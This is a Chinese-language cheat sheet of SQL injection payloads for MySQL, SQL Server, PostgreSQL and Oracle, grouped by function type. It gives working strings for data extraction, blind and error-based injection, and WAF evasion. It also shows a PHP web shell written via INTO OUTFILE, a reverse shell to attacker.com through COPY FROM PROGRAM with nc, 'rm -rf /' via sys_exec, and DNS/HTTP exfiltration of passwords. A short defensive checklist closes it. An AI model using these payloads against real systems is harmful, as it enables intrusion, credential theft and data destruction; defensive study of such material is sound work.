目錄
一、信息獲取函數
1. 通用函數
2. 元數據查詢(INFORMATION_SCHEMA)
二、字符串操作函數
1. 字符串連接
2. 字符串截取
3. 編碼/解碼
三、報錯注入專用函數
1. MySQL
2. SQL Server
3. PostgreSQL
四、時間盲注函數
1. 通用延遲
2. 計算密集型延遲
五、文件操作函數
1. 文件讀取
2. 文件寫入
六、系統命令執行函數
1. SQL Server
2. PostgreSQL
3. MySQL(需特殊條件)
七、帶外通信(OOB)函數
1. DNS外傳數據
2. HTTP請求
八、高級聚合函數
1. 數據聚合
九、JSON/XML操作函數
1. MySQL
2. SQL Server
十、防御規避函數
1. 編碼混淆
2. 動態執行
總結與防御建議
以下是SQL注入攻擊中常用的數據庫函數分類整理,覆蓋主流數據庫及其高危操作場景:
一、信息獲取函數
1. 通用函數
-
DATABASE()
作用:獲取當前數據庫名稱。 示例:UNION SELECT DATABASE()
-
USER()
/CURRENT_USER()
作用:獲取當前數據庫用戶。 -
VERSION()
/@@VERSION
作用:獲取數據庫版本信息。
2. 元數據查詢(INFORMATION_SCHEMA
)
-
TABLES
表 MySQL:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
SQL Server:SELECT name FROM sysobjects WHERE xtype='U'
-
COLUMNS
表 Oracle:SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
二、字符串操作函數
1. 字符串連接
-
CONCAT(str1, str2)
示例:CONCAT('user=', USER())
-
||
(Oracle/PostgreSQL) 示例:' UNION SELECT 'user: ' || USER() --
2. 字符串截取
-
SUBSTRING(str, start, length)
示例:盲注中逐字符爆破:SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)
-
SUBSTR()
(Oracle/PostgreSQL) -
LEFT(str, length)
/RIGHT(str, length)
3. 編碼/解碼
-
HEX()
/UNHEX()
用途:繞過WAF過濾,如SELECT HEX('admin')
→61646D696E
-
CHAR(ASCII_CODE)
示例:CHAR(97)
→a
三、報錯注入專用函數
1. MySQL
-
UPDATEXML()
語法:UPDATEXML(XML_doc, XPath, new_value)
示例:AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)
-
EXTRACTVALUE()
語法:EXTRACTVALUE(XML_doc, XPath)
示例:AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION()))
2. SQL Server
-
CONVERT()
觸發類型轉換錯誤:CONVERT(int, (SELECT TOP 1 table_name FROM sysobjects))
-
ERROR_MESSAGE()
配合TRY-CATCH:BEGIN TRY SELECT 1/0 END TRY BEGIN CATCH SELECT ERROR_MESSAGE() END CATCH
3. PostgreSQL
-
CAST()
示例:CAST((SELECT CURRENT_USER) AS INTEGER)
四、時間盲注函數
1. 通用延遲
-
SLEEP(seconds)
(MySQL) 示例:IF(1=1, SLEEP(5), 0)
-
PG_SLEEP(seconds)
(PostgreSQL) -
WAITFOR DELAY '0:0:5'
(SQL Server)
2. 計算密集型延遲
-
BENCHMARK(count, expr)
(MySQL) 示例:BENCHMARK(1000000, MD5('test'))
五、文件操作函數
1. 文件讀取
-
LOAD_FILE()
(MySQL) 權限需求:FILE
權限,且secure_file_priv
未限制路徑 示例:UNION SELECT LOAD_FILE('/etc/passwd')
-
pg_read_file()
(PostgreSQL) 示例:SELECT pg_read_file('/etc/passwd')
2. 文件寫入
-
INTO OUTFILE
/INTO DUMPFILE
(MySQL) 示例:SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'
-
COPY
(PostgreSQL) 示例:COPY (SELECT 'malicious code') TO '/var/www/shell.php'
六、系統命令執行函數
1. SQL Server
-
xp_cmdshell
示例:EXEC xp_cmdshell 'whoami'
防御:需禁用xp_cmdshell
組件。
2. PostgreSQL
-
COPY FROM PROGRAM
示例:COPY cmd_exec FROM PROGRAM 'nc -e /bin/sh attacker.com 4444'
3. MySQL(需特殊條件)
-
sys_exec()
(UDF提權后) 示例:SELECT sys_exec('rm -rf /')
七、帶外通信(OOB)函數
1. DNS外傳數據
-
LOAD_FILE()
(MySQL) 示例:LOAD_FILE(CONCAT('\\\\', (SELECT HEX(password)), '.attacker.com\\test'))
-
UTL_HTTP.REQUEST()
(Oracle) 示例:SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL) FROM DUAL
2. HTTP請求
-
HTTPURITYPE
(Oracle) 示例:SELECT HTTPURITYPE('http://attacker.com/'||(SELECT password FROM users)).GETCLOB() FROM DUAL
八、高級聚合函數
1. 數據聚合
-
GROUP_CONCAT()
(MySQL) 示例:GROUP_CONCAT(table_name SEPARATOR ',')
用于一次性獲取所有表名。 -
STRING_AGG()
(SQL Server/PostgreSQL) 用途:合并多行結果為單個字符串。
九、JSON/XML操作函數
1. MySQL
-
JSON_EXTRACT()
繞過技巧:SELECT JSON_EXTRACT('{"a":"b"}', CONCAT('$.', (SELECT USER())))
2. SQL Server
-
OPENJSON()
示例:SELECT * FROM OPENJSON((SELECT password FROM users FOR JSON PATH))
十、防御規避函數
1. 編碼混淆
-
TO_BASE64()
/FROM_BASE64()
(MySQL 5.6+) 示例:SELECT FROM_BASE64('YWRtaW4=')
→admin
-
ASCII()
/ORD()
用途:盲注中逐字符轉換ASCII值。
2. 動態執行
-
EXEC()
(SQL Server) 示例:EXEC('SELECT * FROM users')
-
PREPARE
/EXECUTE
(MySQL) 示例:SET @sql = CONCAT('SELECT * FROM ', (SELECT table_name FROM information_schema.tables LIMIT 1)); PREPARE stmt FROM @sql; EXECUTE stmt;
總結與防御建議
-
禁用高危函數:如
xp_cmdshell
、FILE
權限等。 -
輸入過濾:嚴格校驗參數類型,過濾
UNION
、SLEEP
等關鍵詞。 -
最小權限原則:數據庫賬戶僅授予必要權限。
-
監控異常查詢:如頻繁出現
INFORMATION_SCHEMA
訪問或LOAD_FILE()
調用。
示例攻擊鏈:
' UNION SELECT NULL, CONCAT('DB: ', DATABASE(), ' User: ', USER(), ' Version: ', VERSION()), LOAD_FILE('/etc/passwd') --
掌握這些函數的作用機制,可更精準地設計防御策略與檢測規則。